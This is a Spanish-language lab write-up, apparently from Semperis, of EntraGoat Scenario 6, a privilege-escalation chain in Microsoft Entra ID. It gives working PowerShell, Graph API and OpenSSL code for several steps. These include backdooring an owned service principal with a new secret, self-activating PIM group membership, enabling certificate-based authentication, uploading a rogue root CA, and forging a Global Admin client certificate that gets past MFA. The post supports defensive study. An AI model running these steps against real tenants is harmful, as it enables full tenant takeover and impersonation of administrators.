- Escenario 6: Autorización para eludir el certificado-Acceso a la raíz concedido
- Visión general de la ruta de ataque
- Flujo de ataque
- Por qué los equipos de seguridad deben comprender los errores de configuración de Entra ID
- Cómo detectar y defenderse de la explotación de la autenticación basada en certificados
- Solución paso a paso
- Paso 1: Afianzamiento inicial
- Paso 2: Evaluación del objetivo de pivote
- Paso 3: Pivotar al principal del servicio DataSync-Production
- Paso 4: Centrarse en el contexto del usuario
- Paso 5: Activación de la asignación PIM
- Paso 6: Activar la autenticación basada en certificados
- Paso 7: Cargar la autoridad de certificación raíz maliciosa
- Paso 8: Autenticación sin contraseña en Group Admin
- Paso 9: Resolución de problemas de enlace CBA y MFA
- Lección aprendida: Los errores de configuración abren vías de ataque
- Explora todos los desafíos de EntraGoat
- Nota final
- Descargo de responsabilidad
Nota del editor
Este escenario forma parte de una serie de ejemplos que demuestran el uso de EntraGoatnuestro entorno de simulación Entra ID. Puede leer una descripción general de EntraGoat y su valor aquí.
Autorización para eludir certificados-Acceso a raíz concedido
El Escenario 6 de EntraGoat detalla una técnica de escalamiento de privilegios en Microsoft Entra ID donde el jugador comienza con credenciales de bajo privilegio y logra acceso de Administrador Global encadenando principales de servicio mal configurados, roles de aplicación sobre-permisivos, y funcionalidad legítima de autenticación basada en certificado (CBA).
Utilizando credenciales filtradas de un principal de servicio heredado, el atacante pivota a través de la identidad propia, abusa de permisos privilegiados para modificar la configuración de todo el inquilino, habilita CBA a través de un usuario elegible para la Gestión de Identidades Privilegiadas (PIM) para Grupos, y carga una autoridad de certificados raíz falsa. El resultado es la suplantación sin contraseña y compatible con MFA de un administrador global, lo que permite la toma de control completa y la persistencia del inquilino.
Visión general de la ruta de ataque
- Historia del punto de apoyo inicial: El atacante obtiene credenciales de cliente codificadas para un principal de servicio de automatización heredado incrustado en un antiguo repositorio de PowerShell.
- Pivote a través de la propiedad: Se comprueba que la entidad de seguridad de servicio heredada es propietaria de otra entidad de seguridad de servicio. Utilización de
Application.ReadWrite.OwnedBy
, el atacante backdoors el segundo principal de servicio mediante la adición de un secreto y pivotes a la misma. - Abuso de la configuración del inquilino: El segundo servicio principal tiene
Organization.ReadWrite.All
permiso. Aunque no es capaz de gestionar usuarios o roles, este permiso permite modificar las configuraciones de todo el inquilino, incluidos los ajustes de autenticación. - Habilitación de la autenticación basada en certificados (CBA) mediante la asignación PIM basada en grupos: Se descubre que un usuario al que tiene acceso el atacante es elegible para PIM en un grupo que tiene el
Authentication Policy Administrator
rol. Después de activar la membresía, el atacante habilita CBA a través del inquilino. - Establecimiento de confianza con una autoridad de certificación (CA) raíz maliciosa: El atacante genera y carga una CA raíz falsa en el inquilino, convirtiéndolo en un proveedor de identidad de confianza.
- Suplantación del Administrador Global: Por último, el atacante crea un certificado de cliente para una cuenta de Global Admin, lo firma con la CA raíz maliciosa y utiliza CBA para autenticarse, logrando una autenticación sin contraseña y compatible con MFA.
Flujo de ataque
La figura 1 muestra el flujo de este ataque.
Por qué los equipos de seguridad deben comprender los errores de configuración de Entra ID
Esta cadena de ataque se aprovecha tanto de errores de configuración comunes como de patrones de diseño fundamentales en Entra ID que a menudo son malinterpretados o descuidados en entornos del mundo real.
- La deuda de automatización heredada es real. Los principales de servicio creados para la automatización pueden permanecer sin gestionar después del despliegue. Con el tiempo, esto puede conducir a un exceso de permisos y propiedad sobre otros principales de servicio, creando cadenas de privilegios ocultas. Además, una mala gestión de los secretos, como las credenciales codificadas en secuencias de comandos, suelen permanecer en su lugar una vez que "todo funciona", lo que da lugar a rutas de acceso duraderas y no supervisadas.
- La propiedad de entidades de seguridad otorga derechos de gestión de credenciales. Muchas organizaciones no auditan las cadenas de propiedad de Service Principal ni son conscientes de sus implicaciones.
- Los permisos no existen de forma aislada. El ataque se basa en una combinación de permisos que parecen de alcance limitado cuando se ven individualmente. Sin embargo, cuando se combinan, habilitan cambios de configuración que permiten suplantar identidades privilegiadas a través de mecanismos de autenticación legítimos:
Application.ReadWrite.OwnedBy
permite gestionar los principales de servicio propiedad de una aplicación que llama.Organization.ReadWrite.All
permite modificar los parámetros de configuración de toda la organización.Authentication Policy Administrator
(oPolicy.ReadWrite.AuthenticationMethod
) activa y configura la CBA.
- Por último, la ACB perfora el límite de confianza del tenant. Una vez configurada, la CA externa se convierte en un emisor de identidades válido para cualquier usuario del tenant.
NOTA: Los antecedentes teóricos sobre el modelo de aplicación de Entra ID, así como la autenticación basada en certificados tanto para el inicio de sesión de usuario interactivo como para los flujos de aserción de cliente OAuth, se trataron en el Escenario 2 en el blog. Recomendamos revisarlo primero para un contexto apropiado.
Cómo detectar y defenderse de la explotación de la autenticación basada en certificados
Los errores de configuración como los explotados en este escenario a menudo se pasan por alto, pero pueden llevar a un compromiso total de un inquilino Entra ID. Para ayudar a las organizaciones a identificar las rutas de ataque antes de que se pueda abusar de ellas, Las soluciones de Semperis proporcionan indicadores de exposición (IOE) e indicadores de compromiso (IOC) para detectar y alertar sobre valores predeterminados y configuraciones erróneas peligrosas, incluido un indicador para la persistencia de autenticación basada en certificados y comprobaciones adicionales que evalúan la postura de seguridad de los entornos Entra ID.
Escenario en profundidad: Recorrido paso a paso de la solución
Echemos un vistazo a los pasos necesarios para crear una autoridad de certificación raíz fraudulenta que pueda desbloquear todo el inquilino Entra ID.
Paso 1: Afianzamiento inicial con credenciales principales de servicio codificadas.
Comenzamos con un secreto filtrado "encontrado" en un repositorio heredado de PowerShell perteneciente a un script de automatización obsoleto, que se muestra en la Figura 2 .
Usando esas credenciales, nos autenticamos como el principal del servicio, como muestra la Figura 3 .
La validación confirma la autenticación correcta para Legacy-Automation-Service
. Comprobamos los permisos asignados a la identidad, y destaca un permiso clave (Figura 4).
Application.ReadWrite.OwnedBy
permiso asignado a la identidad de la aplicaciónEn Application.ReadWrite.OwnedBy
concede a la aplicación que llama la capacidad de realizar las mismas operaciones que Application.ReadWrite.All
para gestionar (read/update/delete
), pero sólo en los objetos de aplicación para los que el autor de la llamada aparece explícitamente como propietario. Esto permite escenarios de automatización estrechamente delimitados sin exponer una amplia gestión de aplicaciones en todo el directorio.
Como se demuestra en Escenario 1la propiedad sobre un servicio principal permite la gestión de credenciales, incluyendo la adición de secretos de cliente. Para explorar objetivos potenciales, enumeramos todos los servicios principales en el inquilino y comprobamos cuáles son propiedad de la identidad autenticada en ese momento(Figura 5).
Se ha encontrado la titularidad principal del servicio: DataSync-Production
.
Dato curioso: Es imposible establecer una entidad de seguridad de servicio como propietario de otra entidad de seguridad de servicio a través de la interfaz de usuario del portal de Azure o del centro de administración de Entra, a pesar de que la propiedad es visible allí(Figura 6). Sólo se permiten identidades de usuario.
Configuramos la propiedad de la entidad de seguridad del servicio en el script de configuración llamando directamente a la Graph API, que admite esta operación:
$OwnerParams = @{ "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$($LegacySP.Id)" } New-MgServicePrincipalOwnerByRef -ServicePrincipalId $DataSyncSP.Id -BodyParameter $OwnerParams
Paso 2: Evaluación del objetivo de pivote
Ahora necesitamos comprobar si el principal de servicio que poseemos es una ruta viable de escalada de privilegios. Podemos reutilizar el sencillo Get-ServicePrincipalRoles
función de Escenario 1 para enumerar las asignaciones de funciones de directorio:
function Get-ServicePrincipalRoles { param([object]$ServicePrincipal) Write-Host "Checking roles for: $($ServicePrincipal.DisplayName)" $roleAssignments = Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '$($ServicePrincipal.Id)'" -ErrorAction SilentlyContinue $roles = @() if ($roleAssignments) { foreach ($assignment in $roleAssignments) { $roleDefinition = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $assignment.RoleDefinitionId $roles += $roleDefinition Write-Host " Role: $($roleDefinition.DisplayName)" -ForegroundColor Green } } else { Write-Host " No directory roles assigned" } return $roles }
Como muestra la Figura 7 , no se asigna ninguna función de directorio.
Pero como ya sabemos, los roles de directorio no son el único vector con principales de servicio. ¿Qué pasa con los roles de aplicación(Figura 8)?
Como en otros escenarios, Directory.Read.All
se ha concedido probablemente sólo para simplificar la fase de enumeración. Más interesante aún, el principal del servicio también tiene la Organization.ReadWrite.All
función de la aplicación. Este permiso a menudo se pasa por alto, pero tiene capacidades de gran impacto. Aunque no otorga control sobre usuarios, grupos o roles, permite modificar la configuración de todo el inquilino, como la marca de la empresa y las políticas de autenticación. De hecho, como se demuestra en el excelente blog de investigación SpecterOps Persistencia sin contraseña y escalada de privilegios en Azure1, este permiso es suficiente para añadir una nueva CA raíz al inquilino Entra IDque puede firmar certificados de usuario falsificados para el inicio de sesión basado en certificados.
Dado esto, nuestro siguiente paso es añadir un secreto de cliente al principal del servicio:
$secretDescription = "Totally-Legit-EntraGoat-Secret-$(Get-Date -Format 'yyyyMMdd-HHmmss')" $contraseñaCredencial = @{ DisplayName = $secretDescription EndDateTime = (Get-Date).AddYears(1) } $newSecret = Add-MgServicePrincipalPassword -ServicePrincipalId $dataSyncSP.Id -PasswordCredential $passwordCredential $dataSyncSecret = $newSecret.SecretText # guárdelo para más tarde
Paso 3: Pivotar al principal del servicio DataSync-Production
Aunque ahora podemos cargar una entidad emisora de certificados raíz "de confianza", no podemos utilizarla para suplantar identidades porque no podemos activar la CBA (Figura 9), que requiere Policy.ReadWrite.AuthenticationMethod
permiso o la Authentication Policy Administrator
ninguna de las cuales está asignada a la función DataSync-Production
servicio principal.
Tras agotar las opciones de enumeración bajo la identidad de este SP, nos encontramos en un callejón sin salida. No hay habilitación CBA.
Pero ESPERA: ¿Hemos mirado lo que nuestro usuario comprometido, terence.mckenna
¿tiene acceso a?
Paso 4: Centrarse en el contexto del usuario
¿Pertenece Terence a algún grupo(Figura 10)?
Nada más allá del grupo de inquilinos por defecto.
¿Propiedad de algún grupo(Figura 11)?
Ninguna. ¿Algún director de servicio en propiedad(Figura 12)?
Todavía nada. ¿Algún PIM apto para la asignación de grupos(figura 13)?
¡Sí! Terence puede optar al Authentication Policy Managers
grupo.
Comprobemos qué funciones desempeña el Authentication Policy Managers
se asigna el grupo (Figura 14).
Authentication Policy Managers
grupoSon papeles muy privilegiados.
Application Administrator
permite un control total sobre todas las aplicaciones en el tenant, incluyendo la capacidad de añadir secretos o certificados a cualquier servicio principal. (Incluimos intencionadamente este rol para soportar múltiples rutas de ataque de diversa complejidad).Authentication Policy Administrator
y, lo que es más importante, nos otorga la capacidad de activar la ACB, el control exacto que nos faltaba para avanzar con la cadena de ataque.
NOTA: Dado que este es (actualmente) el escenario final en la serie EntraGoat, incluimos intencionalmente algunos de estos pasos de enumeración sin salida para ilustrar el proceso de pensamiento detrás del descubrimiento de privilegios. La exploración sistemática tanto de los principales de servicio como de las identidades de usuario es crítica para identificar caminos viables de escalamiento en Entra ID.
Paso 5: Activación de la asignación PIM
Ahora que hemos identificado la elegibilidad para el Authentication Policy Managers
grupo, podemos autoactivar la asignación PIM utilizando la Graph API:
$activationBody = @{ accessId = "member" principalId = $currentUser.Id groupId = $authGroup.Id action = "selfActivate" scheduleInfo = @{ startDateTime = (Get-Date).ToUniversalTime().ToString("o") expiration = @{ type = "afterDuration" duration = "PT8H" } } justification = "Need to configure authentication policies for support tickets" } Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/beta/identityGovernance/privilegedAccess/group/assignmentScheduleRequests" ` -Body $activationBody -ContentType "application/json"
Tras un breve retardo de propagación, podemos volver a comprobar la pertenencia al grupo para confirmar el estado activo(Figura 15).
Paso 6: Activar la autenticación basada en certificados
Con la pertenencia a un grupo activa, podemos activar la CBA para todo el inquilino. En primer lugar, consultamos el objeto de configuración CBA actual(Figura 16).
A continuación, habilitamos CBA utilizando la siguiente carga útil para la configuración actualizada:
$actualizarParámetros = @{ Estado = "habilitado" "@odata.type" = "#microsoft.graph.x509CertificateAuthenticationMethodConfiguration" certificateUserBindings = @( @{ x509CertificateField = "NombrePrincipal" userProperty = "userPrincipalName" prioridad = 1 } ) authenticationModeConfiguration = @{ x509CertificateAuthenticationDefaultMode = "x509CertificateSingleFactor" rules = @() } } Update-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration ` -AuthenticationMethodConfigurationId "X509Certificate" -BodyParameter $updateParams
Y comprobamos que la ACB está ahora activada(Figura 17).
NOTA: Este cambio también puede aplicarse interactivamente a través del centro de administración de Entra:
- Inicio de sesión en https://entra.microsoft.com con la cuenta de Terence
- Navegando hacia: Entra ID → Métodos de autenticación → Políticas → Autenticación basada en certificados.
- Conmutación del estado a Activar, como muestra la Figura 18
Dependiendo de la política del inquilino, la configuración MFA puede ser necesaria para Terence en el primer inicio de sesión.
Paso 7: Cargar la autoridad de certificación raíz maliciosa
Ahora que la CBA está activada, volvemos al DataSync-Production
y autenticarse utilizando el secreto de cliente que le añadimos previamente para añadir una CA raíz a las CA de confianza del inquilino.
Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $dsCred
NOTA: Crear, configurar y cargar una CA raíz y un certificado de cliente en Entra ID mediante CLI es un proceso de varios pasos con varios puntos de fallo. Entra ID impone un formato específico para el campo UPN en la extensión SAN que PowerShell lucha por generar con el OID requerido. Para evitar estos escollos, utilizamos OpenSSL para generar tanto la CA raíz como el certificado de cliente.
Comenzamos configurando la estructura de la CA con el siguiente script:
$opensslBinary = "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" $adminUPN = (Get-MgUser -Filter "startswith(userPrincipalName,'EntraGoat-admin-s6')").UserPrincipalName # Setup CA directory structure $caWorkspace = "$env:TEMP\EntraGoat-CA" if (Test-Path $caWorkspace) { Set-Location $env:TEMP Remove-Item $caWorkspace -Recurse -Force } @("$caWorkspace", "$caWorkspace\ca", "$caWorkspace\ca\issued") | ForEach-Object { New-Item -Path $_ -ItemType Directory -Force | Out-Null } # Initialize database (as OpenSSL requires specific format) New-Item -Path "$caWorkspace\ca\index.db" -ItemType File -Force | Out-Null "01" | Out-File "$caWorkspace\ca\serial" -Encoding ASCII -NoNewline # Root Certificate Authority configuration $caConfig = @" [ ca ] default_ca = entragoat_ca [ entragoat_ca ] dir = ./ca certs = `$dir new_certs_dir = `$dir/issued database = `$dir/index.db serial = `$dir/serial RANDFILE = `$dir/.rand certificate = `$dir/entragoat-root.cer private_key = `$dir/entragoat-root.key default_days = 730 default_crl_days = 30 default_md = sha256 preserve = no policy = trust_no_one_policy [ trust_no_one_policy ] countryName = optional stateOrProvinceName = optional localityName = optional organizationName = optional organizationalUnitName = optional commonName = optional emailAddress = optional [req] x509_extensions = user_cert req_extensions = v3_req [ user_cert ] subjectAltName = @alt_names [ v3_req ] subjectAltName = @alt_names [alt_names] otherName=1.3.6.1.4.1.311.20.2.3;UTF8:$adminUPN "@ # Client certificate configuration with SAN extension $clientConfig = @" [req] x509_extensions = user_cert req_extensions = v3_req [ user_cert ] subjectAltName = @alt_names [ v3_req ] subjectAltName = @alt_names [alt_names] otherName=1.3.6.1.4.1.311.20.2.3;UTF8:$adminUPN "@ # output configuration to files $caConfig | Out-File "$caWorkspace\ca.conf" -Encoding ASCII $clientConfig | Out-File "$caWorkspace\client.conf" -Encoding ASCII Set-Location $caWorkspace # Generate root CA private key & $opensslBinary genrsa -out ca\entragoat-root.key 4096 # Create root certificate for entra trust & $opensslBinary req -new -x509 -days 3650 -key ca\entragoat-root.key -out ca\entragoat-root.cer -subj "/CN=EntraGoat Evil Root CA/O=EntraGoat Security/C=US" Write-Output "Root CA certificate path: $caWorkspace\ca\entragoat-root.cer" # upload this to the tenant
Una vez preparada la infraestructura de CA maliciosa, el contenido de $caWorkspace\ca\
deben parecerse a los archivos que Figura 19 espectáculos.
$caWorkspace\ca\
Ahora podemos cargar nuestro certificado raíz personalizado en la lista de autoridades de certificación de confianza de Entra ID:
# Load the root certificate $rootCA = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new("$caWorkspace\ca\entragoat-root.cer") $caAuthority = @{ isRootAuthority = $true certificate = [System.Convert]::ToBase64String($rootCA.GetRawCertData()) } # get existing CBA configuration try { $existingConfigs = Invoke-MgGraphRequest -Method GET ` -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration" if ($existingConfigs.value -and $existingConfigs.value.Count -gt 0) { # Update existing config $configId = $existingConfigs.value[0].id $existingCAs = $existingConfigs.value[0].certificateAuthorities # Add new CA to existing ones $updatedCAs = $existingCAs + @($caAuthority) $updateBody = @{ certificateAuthorities = $updatedCAs } | ConvertTo-Json -Depth 3 $response = Invoke-MgGraphRequest -Method PATCH ` -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration/$configId" ` -Body $updateBody ` -ContentType "application/json" } else { throw "No existing configuration found" } } catch { # Create new CBA configuration $body = @{ certificateAuthorities = @($caAuthority) } | ConvertTo-Json -Depth 3 $response = Invoke-MgGraphRequest -Method POST ` -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration" ` -Body $body ` -ContentType "application/json" }
Y compruebe que la carga se ha realizado correctamente y que el certificado es ahora de confianza para el inquilino:
$configs = Invoke-MgGraphRequest -Method GET ` -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration" $uploadSuccess = $false if ($configs.value -and $configs.value.Count -gt 0) { foreach ($ca in $configs.value[0].certificateAuthorities) { $certBytes = [Convert]::FromBase64String($ca.certificate) $cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($certBytes) if ($cert.Thumbprint -eq $rootCA.Thumbprint) { Write-Output "[+] Root CA successfully uploaded to tenant" Write-Output " Thumbprint: $($cert.Thumbprint)" Write-Output " Subject: $($cert.Subject)" $uploadSuccess = $true break } } } if (-not $uploadSuccess) { Write-Output "[-] Failed to verify root CA upload. Please check the configuration." }
Estupendo. La CA raíz ya está cargada(Figura 20).
Con la CA falsa aceptada y de confianza, ahora podemos emitir un certificado de cliente para cualquier identidad (incluida la de EntraGoat-admin-s6
usuario) y firmarlos usando nuestra nueva y totalmente legítima CA raíz:
# Generar la clave privada del certificado del cliente y la solicitud de firma & $opensslBinary req -new -sha256 -config client.conf -newkey rsa:4096 -nodes -keyout "$adminUPN.key" -out "$adminUPN.csr" -subj "/C=US/ST=Washingaot/L=EvilDistrict/O=EntraGoat/OU=Security/CN=$adminUPN" # Firmar el certificado del cliente con la CA raíz & $opensslBinary ca -batch -md sha256 -config ca.conf -extensions v3_req -out "$adminUPN.crt" -infiles "$adminUPN.csr" # Convertir a formato PFX para instalación en Windows ¡& $opensslBinary pkcs12 -inkey "$adminUPN.key" -in "$adminUPN.crt" -export -out "$adminUPN.pfx" -password pass:EntraGoat123!
Paso 8: Autenticación sin contraseña en GA
Para completar la ruta de escalada privilegiada:
1. Instale el .pfx
certificado ubicado en $caWorkspace
en su máquina local (Figura 21). La contraseña de importación es EntraGoat123!
.
.pfx
certificado2. Siga las instrucciones del Asistente para la importación de certificados. Tras la instalación, confirme que el certificado aparece en certmgr.msc
en Personal → Certificadoscomo Figura 22 espectáculos.
3. Navegue hasta https://portal.azure.com o https://entra.microsoft.com/.
4. Introduzca el UPN del EntraGoat-admin-s6
cuenta.
5. Cuando se le solicite, seleccione el certificado instalado (Figura 23).
Paso 9: Resolución de problemas de enlace CBA y MFA
Si la autenticación falla con Certificate validation failed, es probable que se deba a parámetros de certificado mal configurados o a errores de formato SAN/OID.
Sin embargo, si llega correctamente a la pregunta ¿Sigue conectado? y a continuación se le redirige a Elija una forma de iniciar sesión, esto indica que:
- El certificado es válido
- La ACB está activada
- Pero la política de vinculación de autenticación del inquilino clasifica los certificados como autenticación de factor único
- Y las políticas de los inquilinos requieren autenticación multifactor para el acceso privilegiado
En ese caso, el valor por defecto del modo x509CertificateAuthenticationDefaultMode
se establece en factor único x509CertificateSingleFactor
y, por ello, la ACB no satisface por sí sola los requisitos del AMF (Figura 24) y no puede utilizarse para acceder a cuentas privilegiadas.
Para solucionarlo, se Authentication Policy Administrator
puede actualizar el modo de enlace por defecto a x509CertificateMultiFactor
permitiendo a la ACB cumplir los requisitos del AMF (Figura 25).
Podemos establecer CBA con el contexto de seguridad del usuario Terence:
# Get current config $current = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate" # Check current mode $current.authenticationModeConfiguration.x509CertificateAuthenticationDefaultMode # change to MultiFactor if needed $params = @{ "@odata.type" = "#microsoft.graph.x509CertificateAuthenticationMethodConfiguration" id = "X509Certificate" certificateUserBindings = $current.certificateUserBindings authenticationModeConfiguration = @{ x509CertificateAuthenticationDefaultMode = "x509CertificateMultiFactor" x509CertificateDefaultRequiredAffinityLevel = "low" rules = @() } includeTargets = $current.includeTargets excludeTargets = $current.excludeTargets state = "enabled" issuerHintsConfiguration = $current.issuerHintsConfiguration crlValidationConfiguration = $current.crlValidationConfiguration certificateAuthorityScopes = @() } # Apply changes Invoke-MgGraphRequest -Method PATCH -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate" -Body ($params | ConvertTo-Json -Depth 10) # Verify change $updated = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate" $updated.authenticationModeConfiguration.x509CertificateAuthenticationDefaultMode
Alternativa (GUI): También puede configurarlo a través del portal de administración Entra(Figura 26). Siga esta ruta:
Entra ID → Métodos de autenticación → Políticas → Autenticación basada en certificados → Configurar.
En Vinculación de autenticación, establezca Intensidad de autenticación predeterminada en Factor múltiple.
Con esta política en su lugar, el certificado de cliente falsificado ahora se puede utilizar para iniciar sesión como EntraGoat-admin-s6
, totalmente sin contraseña y compatible con MFA, completando la cadena de ataque y concediendo acceso de administrador global para recuperar la bandera desde la interfaz de usuario (Figura 27).
Una vez completado el escenario, ejecutamos el script de limpieza para restaurar el inquilino a su estado original.
Lección aprendida: Los errores de configuración abren vías de ataque
Este escenario revela cómo las malas configuraciones encadenadas a través de los principales de servicio, las asignaciones de roles de aplicaciones y las configuraciones de autenticación pueden ser utilizadas como armas para lograr el compromiso total del inquilino de Entra ID sin siquiera interactuar con las contraseñas de los usuarios.
Comienza con credenciales filtradas para un principal de servicio heredado con pocos privilegios, lo que es común en la expansión de la automatización, y se intensifica abusando de los permisos pasados por alto de Application.ReadWrite.OwnedBy
y Organization.ReadWrite.All
.
Al pivotar entre los principales de servicio propios y activar una asignación de grupo basada en PIM, el atacante habilita CBA y carga una CA raíz maliciosa en el inquilino.
Finalmente, emitiendo un certificado de cliente falsificado para la cuenta Global Admin, cambiando la regla de la política de enlace de autenticación del inquilino en los certificados para satisfacer los requisitos de MFA, e iniciando sesión con él a través de CBA, el atacante se salta las contraseñas y MFA.
Esta ruta de ataque expone brechas pasadas por alto en los límites de confianza y la arquitectura de identidad, mostrando cómo la identidad se ha convertido en el nuevo perímetro, susceptible a desconfiguraciones en capas y cadenas de privilegios no intencionadas.
Explora todos los desafíos de EntraGoat
- https://github.com/Semperis/EntraGoat
- ¿Qué es el entorno de simulación EntraGoat Entra ID? | Semperis Research
- Primeros pasos con EntraGoat: Descifrar Entra ID de forma inteligente
- Escenario 1: Abuso de la titularidad principal del servicio en Entra ID
- Escenario 2: Explotación de Permisos de App-Only Graph en Entra ID
Nota final
Descargo de responsabilidad
Este contenido se proporciona únicamente con fines educativos e informativos. Su objetivo es promover la concienciación y la corrección responsable de las vulnerabilidades de seguridad que puedan existir en los sistemas que usted posee o está autorizado a probar. El uso no autorizado de esta información con fines maliciosos, explotación o acceso ilegal está estrictamente prohibido. Semperis no respalda ni aprueba ninguna actividad ilegal y declina toda responsabilidad derivada del uso indebido del material. Además, Semperis no garantiza la exactitud o integridad del contenido y no asume ninguna responsabilidad por los daños derivados de su uso.